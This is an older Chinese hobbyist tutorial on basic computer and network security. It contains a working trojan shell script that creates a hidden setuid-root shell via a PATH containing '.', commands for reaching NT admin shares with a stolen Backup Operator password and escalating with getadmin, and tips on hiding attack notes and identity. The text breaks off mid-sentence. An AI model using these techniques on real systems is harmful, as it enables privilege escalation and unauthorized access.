萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> 讓你的電腦更安全 網絡攻防基礎課

讓你的電腦更安全 網絡攻防基礎課

  這幾天閒得發慌,又不敢老在網上,想來想去——接著寫文章吧,也算給新手們一個入門的指點(雖然我自己也是新手,呵!但我可是深刻體會到對網絡安全感興趣卻又求師無門的痛苦——想當年……),不過這下我可給自己找了大麻煩了,還基礎課之一呢,慢慢來,慢慢來……    先說幾句題外話:兄弟們對網絡安全感興趣是一件大好事,對國內的計算機安全總體水平提高肯定有幫助,但是呢,在當前的形勢下,黑客守則可千萬別忘了,至少有幾條要牢記謹守:    1、謹慎存放有關攻擊資料的筆記,最好用自己的方式來記錄——讓人不知所雲;    2、在虛擬世界的任何地方都要用虛擬的ID行事,不要留下真實姓名或其它資料;    3、不要向身邊的朋友炫耀你的技術——除非你認為就算因他的原因導致你*&^%$,你也不會怪他……    4、網友聊天不要輕易說出自己的學習與攻擊計劃——拍搭當然不一樣啦。    也許你會覺得我太過多事,但現在國內突然湧起的這陣“黑客熱”的確難以把握,往好裡想,情勢大好,技術水平迅速提高,但……國家的安全部門允許這群擁有較高技術水平的人在不受其控制的情況下呢,自由地在可能有機密情報的電腦世界裡轉悠嗎?    還有,我只是一個電腦愛好者,各位千萬別把我當黑客,我也不懂如何黑——正所謂咬人的的狗不叫——一句出口罵了自個兒不說還得罪一大片……本文檔只為電腦愛好者提供,如有任何非法使用情況發生,一概由肇事者自行承擔責任——先撇清了^&^    好了,題外話說到這裡,現在先把我計劃中的內容理個大綱吧:    1、安全概念及思路(別忽略了它噢,這可是基礎中的基礎,其實真正軟件中的漏洞並沒有大家想象中那麼多,而被攻破的系統有許多是因為人為的疏失才受攻擊的。    2、以入侵者的角度考慮安全問題(整個入侵過程的思路與動作方法,有機會我會把一整個過程詳細寫下並貼圖的,這是後話)    3、系統配置方案    4、幾篇國外基礎性文章的翻譯    5、部份國內較流行工具的使用方法    好,現在開始我們的第一章,安全概念及思路:    一、綜述  一提起網絡安全,大家心裡想到的首先應該都是“某某的主頁被黑了”“五角大樓昨天又被黑客闖入”之類的訊息,其實我認為這只是安全的一個方面,是屬遠程攻擊,但你是否想到,90%以上的入侵行為其實不是黑客們干的,而是你身邊的同事、朋友……或者你再想想,系統被人侵入後造成資料丟失的後果,但如果你的電腦被暴雨干干淨淨徹頭徹尾地洗了一遍,你裡面的數據還在不在呢?所以我認為計算機安全應該分為物理安全、本地安全和遠程安全。    物理安全因為牽涉到儲如機房布置,防水防火等事項,不在本文的討論范疇內。    二、本地安全失控  1.單機安全    古龍大俠說過:越是親密的朋友,就可能是越危險的敵人。聽說過吧——沒有?我告訴你吧,你有一台電腦,平時用來上上網,玩玩游戲,偶爾也敲點公文進去,你認為它挺安全的,但有一天,你的朋友突然告訴你,他有你的上網帳號和密碼,你相信嗎?——不要不信,這種方法挺多的,假如你用的是WINDOWS,假如你撥號上網的密碼寫了保存,那——默哀三分鐘——你根本一點安全概念都沒有嘛!任何人只要在你的電腦上運行某個小軟件就……    我從來不保存什麼密碼——你可能要得意的說,,但——你的朋友在你電腦裡裝了一個木馬,可以捕捉撥號網絡那個“連接到”的Caption,然後記下你所按的鍵盤,悄悄地將文件寫入一個加密過的文本後再自動退出——會點編程的人應該都做得到,你的電腦是不是失守了?設了屏幕保護密碼——天啊,重啟動後還有什麼?    設定了管理策略,用策略編輯器編輯過,如果不輸密碼他就進不了,進去了也什麼都干不成!——把你的user.dat和system.dat刪掉後用我的代替,這個主意你認為怎麼樣?當然我不是讓你杯弓蛇影弄得一個朋友都沒有只能形影相吊——這樣活著太沒勁啦!如果你的電腦沒有機密資訊的話當然無所謂,如果有——保證盡量少的人接觸它!    寫了這麼多都是WIN9X的,UNIX系統裡這方面的問題是不是就少了呢?從物理方面來說,如果一台機器擺放的位置不安全,能讓人有足夠的時間打開機箱做一些手腳,你的機器就無法安全,就拿我的機子來說吧,我有兩塊硬盤,但在WIN9X和NT裡都看不到第二塊硬盤的影子——我把它裝上了LINUX,而且只能從一個特定的地方啟動它,啟動之後,在LINUX下,我可以任意的用mount命令裝其它操作系統裡的所有數據一掃而空……明白我的意思了嗎?    局域網安全    基於同樣的道理,局域網中的電腦在物理上仍然要嚴加控制,同時還要經常性地注意局域網中用戶的一些非正常的舉動——為什麼?這還用問,就拿我身邊的例子來說吧,我有個朋友,公司裡三十多台電腦連成一個局域網,但這家伙總想弄到主機的最高權限,於是乎監聽SMB密文、安裝木馬忙得不亦樂乎——最後呢,當然得手了,畢竟是我的哥們嘛:)    還有,比如在UNIX中最好要限制ROOT只能由主控台(console)登錄、要謹慎使用su命令等等,不然都會給同一網域內的一群“虎視眈眈”想獲取最高權限者以機會……    辟如說:shell環境變量PATH中包含用冒號分開的目錄名清單,shell按照清單中給定的順序搜索這些目錄,找出運行的命令的可執行文件,PATH變量的典型內容如下:    $ echo $ PATH    .:/usr/local/bin:/bin:/usr/bin/:/usr/X11/bin    但如果你是ROOT的話,無論如何要把PATH變量從當前目錄開始搜索的設置去掉,不然請考慮下面的可能性:甲請你過去在他的終端上做某些管理員職能,你去了,su成ROOT,執行用戶要求你做的系統命令後退出ROOT帳號——無懈可擊,但如果用戶將在他的目錄下做了一個假的su程序……那麼你是從當前目錄也就是甲的目錄開始搜索的,天啊,你執行的是一個根本不知情的程序,可能是用戶自己編寫的特洛伊程序,用以記錄你的密碼……    根據上面的原理,你看看如果ROOT不去掉本地目錄的話,下面這段代碼可能有什麼用處吧     #!/bin/sh  cp /bin/sh ./stuff/junk/.superdude  chmod 4555 ./stuff/junk/.superdude  rm -f $0  exec /bin/ls $ {1 \"$@\"}  然後  % cd  % chmod 700.  % touch ./-f    明白了嗎?這個ls建立了一個隱藏的setuid root的shell的copy……    三、遠程安全與黑客常用方法  1、針對個人用戶    個人用戶在網上最常遇到的“侵略性”的行為不外乎以下幾種    垃圾郵件 這是一個永恆但又無奈的話題,垃圾郵件包括了諸如一些賺錢、廣告之類的信件和惡意的人們通過郵件炸彈發來“成噸重”的信件,這不需要任何技巧,也最是無聊——我收到的此類信件多如牛毛呀!對付此類信件遠程登陸刪除就行了,也沒有必要非查出該發信人的行蹤再施以報復——網上這種東西太多,可謂野火燒不盡……然後在信箱配置上設定拒收某些人、或者超大的信件就行了,這種垃圾不在我們的討論范圍之內。    藍屏炸彈 這是針對WIN95的OOB漏洞而開發出來的一些小軟件,多命名為*NUKE等等,以前是專門攻擊139端口,被攻擊的計算機多會出現M$著名的藍屏藍屏錯誤,WIN98下此漏洞已經PATCH上,所以大多數NUKE軟件都已失效了,但最近聽說一個叫VOOB的軟件對WIN98仍然有效——我還沒試過呢,要不要拿你開刀?該軟件界面如下:(此類軟件界面大抵如此,使用簡單無比)    要防范此類軟件的攻擊,一個土辦法就是監聽端口,網上有許多監聽端口的軟件,你只要設定好監聽的PORT,一旦有人企圖向這個端口發送信息包就會被記錄下來,然後^&%^&*,抓到他後,你自己看著辦吧……    共享文件 這個問題網絡裡有相當多的安全人士已經提過無數次了,但……我每次掃描一個C類地址群的時候都能發現一大群人依舊開著共享沒有任何防護而且自得其樂,很抱歉,我看過其中一些人的信、圖片甚至更加機密的……你的電腦裡是不是有這樣的托著磁盤的小手呢?    有的話可要小心了,你開著共享呢,也就是說,下面的方法對你來說相當有效……    1、本地攻擊    本站在辰光十三條提到c$、d$、admin$和print$這些共享是很危險的.但是出於某些原因不願意詳細提及危險在何處.最近問到這個問題的人越來越多,現決定把我們的發現公布出來.    眾所周知,NT安裝以後,將每個磁盤自動分配一個共享,c$,d$和e$等.這些共享是隱藏的共享,在網上鄰居是看不到它們的.另外還有admin$,ipc$,打印機共享後,還會生成print$這個共享.    微軟說這些共享是為管理而設置的,且最好不要刪除.    實際上,這些c$共享資源都是可訪問的,只不過需要一點權限.而print$則一般任何人都可以訪問.缺省地,要訪問c$,需要backup。operator以上的權限,即需要文件的備份權限.假設你的NT域內有一個帳號是benny,NT的ip是192.168.0.1,他是Backup operator,而你得到了這個帳號的密碼,那麼,你就可以通過網絡訪問NT服務器的c盤,而不管c盤有沒有被共享. 方法如下:    在運行命令中輸入:    \\\\192.168.0.1\\c$    則一個包含c盤所有文件的窗口將會彈出來.    或者 net use z: \\\\192.168.0.1\\c$    則NT server上的c:盤就被映射為本地的z:盤.    缺省地,你對這些目錄將具有完全控制的權限,你可以用NT入侵升級版的方法,把getadmin的文件傳到c盤來取得Administrator權限.    另外,對於\\\\192.168.0.1\\print$你不需
copyright © 萬盛學電腦網 all rights reserved